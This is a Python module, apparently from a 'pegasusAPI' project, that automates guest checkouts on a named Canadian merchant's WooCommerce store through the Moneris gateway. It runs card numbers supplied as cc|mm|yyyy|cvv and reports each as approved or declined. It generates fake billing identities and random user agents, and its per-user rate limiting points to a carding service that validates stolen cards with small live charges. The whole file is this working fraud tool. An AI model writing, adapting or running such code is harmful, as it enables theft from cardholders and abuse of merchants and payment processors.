pegasusAPI/comwave_charge.py

"""
Comwave $3.33 Charge Gateway — WooCommerce guest checkout via Moneris Checkout v1.
Stateless — each call is a fresh session. No login required.
"""

import asyncio
import httpx
import random
import time
import logging
from fake_useragent import UserAgent

logger = logging.getLogger("comwave_charge")

def get(s, start, end):
    try:
        start_index = s.index(start) + len(start)
        end_index = s.index(end, start_index)
        return s[start_index:end_index]
    except ValueError:
        return ""

MONERIS_URL = "https://gateway.moneris.com/chkt/display"
SHOP_URL    = "https://www.comwave.net/residential"
PRODUCT_ID  = 7422
RATE_LIMIT_SECONDS = 3

_wc_rate: dict[int | str, float] = {}


async def check_card_3(full: str, user_id: int | str = 0) -> str:
    """
    WooCommerce guest checkout — charges $3.33.
    Returns a result string: "APPROVED ...", "DECLINED ...", or "Error: ...".
    """
    start = time.time()

    now = time.time()
    last = _wc_rate.get(user_id, 0)
    wait = RATE_LIMIT_SECONDS - (now - last)
    if wait > 0:
        return f"Rate limited — wait {round(wait, 1)}s"
    _wc_rate[user_id] = now

    try:
        cc, mm, yyyy, cvv = full.strip().split("|")
        if len(yyyy) == 2:
            yyyy = f"20{yyyy}"
    except ValueError:
        return "Error: bad format (cc|mm|yyyy|cvv)"

    first_names = ["James", "John", "Robert", "Michael", "William", "David", "Richard", "Joseph"]
    last_names  = ["Smith", "Johnson", "Williams", "Brown", "Jones", "Garcia", "Miller", "Davis"]
    first_name  = random.choice(first_names)
    last_name   = random.choice(last_names)
    email       = f"cristini{random.randint(1000, 99999)}@gmail.com"
    expiry      = f"{mm}{yyyy[2:]}"

    ua = UserAgent()
    ua_str = ua.random
    hdrs = {"User-Agent": ua_str, "Accept-Language": "en-US,en;q=0.9"}

    async with httpx.AsyncClient(timeout=40, follow_redirects=True) as client:
        try:
            await client.get(SHOP_URL, headers={**hdrs, "Accept": "text/html"})
            nonce_r = await client.get(
                f"{SHOP_URL}/?wc-ajax=get_refreshed_fragments",
                headers={**hdrs, "Accept": "application/json"},
            )
            woo_nonce = ""
            parts = nonce_r.text.split("wc_cart_fragments_params")
            if len(parts) > 1:
                woo_nonce = get(parts[1], '"nonce":"', '"')

            await client.post(
                f"{SHOP_URL}/?wc-ajax=add_to_cart",
                data={"product_id": PRODUCT_ID, "quantity": 1},
                headers={**hdrs, "Content-Type": "application/x-www-form-urlencoded",
                         "X-Requested-With": "XMLHttpRequest"},
            )

            co = await client.get(
                f"{SHOP_URL}/checkout/",
                headers={**hdrs, "Accept": "text/html"},
            )
            co_nonce = get(co.text, 'name="woocommerce-process-checkout-nonce" value="', '"')
            if not co_nonce:
                co_nonce = get(co.text, '#woocommerce-process-checkout-nonce"', '"')

            checkout_data = {
                "billing_first_name": first_name,
                "billing_last_name": last_name,
                "billing_address_1": f"{random.randint(100, 999)} Main St",
                "billing_address_2": "",
                "billing_city": "Toronto",
                "billing_state": "ON",
                "billing_postcode": "M5V 2T6",
                "billing_country": "CA",
                "billing_phone": f"416{random.randint(1000000, 9999999)}",
                "billing_email": email,
                "shipping_method[0]": "flat_rate:1",
                "payment_method": "moneris_checkout",
                "woocommerce-process-checkout-nonce": co_nonce,
                "_wp_http_referer": "/residential/checkout/",
                "terms": "on",
                "terms-field": "1",
            }

            cr = await client.post(
                f"{SHOP_URL}/?wc-ajax=checkout",
                data=checkout_data,
                headers={**hdrs, "Content-Type": "application/x-www-form-urlencoded",
                         "X-Requested-With": "XMLHttpRequest"},
            )
            cr_json = cr.json()
            ticket = cr_json.get("ticket", "")
            if not ticket:
                msgs = cr_json.get("messages", "")
                if msgs:
                    err = get(str(msgs), "<li>", "</li>") or str(msgs)[:120]
                    return f"Error: {err}"
                return f"Error: no ticket from WooCommerce"

            mon = httpx.AsyncClient(timeout=30, follow_redirects=True)
            try:
                await mon.get(
                    f"{MONERIS_URL}/index.php?tck={ticket}",
                    headers={"User-Agent": ua_str, "Accept": "text/html"},
                )

                form_data = {
                    "ticket": ticket,
                    "action": "validate_transaction",
                    "pan": cc,
                    "expiry_date": expiry,
                    "cvv": cvv,
                    "cardholder": f"{first_name} {last_name}",
                    "card_data_key": "new",
                    "currency_code": "CAD",
                    "wallet_details": "{}",
                    "gift_details": "{}",
                }
                mon_hdrs = {
                    "User-Agent": ua_str,
                    "Content-Type": "application/x-www-form-urlencoded",
                    "X-Requested-With": "XMLHttpRequest",
                    "Referer": f"{MONERIS_URL}/index.php?tck={ticket}",
                }

                rv = await mon.post(f"{MONERIS_URL}/request.php", data=form_data, headers=mon_hdrs)
                if rv.json().get("response", {}).get("success") != "true":
                    return "Error: validate failed"

                form_data["action"] = "process_transaction"
                rp = await mon.post(f"{MONERIS_URL}/request.php", data=form_data, headers=mon_hdrs)
                resp = rp.json().get("response", {})

                if resp.get("success") != "true":
                    return "Error: process failed"

                result = resp.get("result", "")
                card_type = ""
                last4 = ""
                approval_code = ""
                ref_no = ""
                payments = resp.get("payment", [])
                if payments:
                    p = payments[0]
                    card_type = p.get("card", "")
                    last4 = p.get("pan", "")
                    approval_code = p.get("approval_code", "")
                    ref_no = p.get("reference_no", "")

                info = f"[{card_type}] | Last4: {last4} | Auth: {approval_code} | Ref: {ref_no}"
                elapsed = round(time.time() - start, 2)

                if result == "a":
                    return f"APPROVED {info} - Taken {elapsed}s"
                else:
                    return f"DECLINED {info} - Taken {elapsed}s"
            finally:
                await mon.aclose()

        except Exception as e:
            return f"Error: {e}"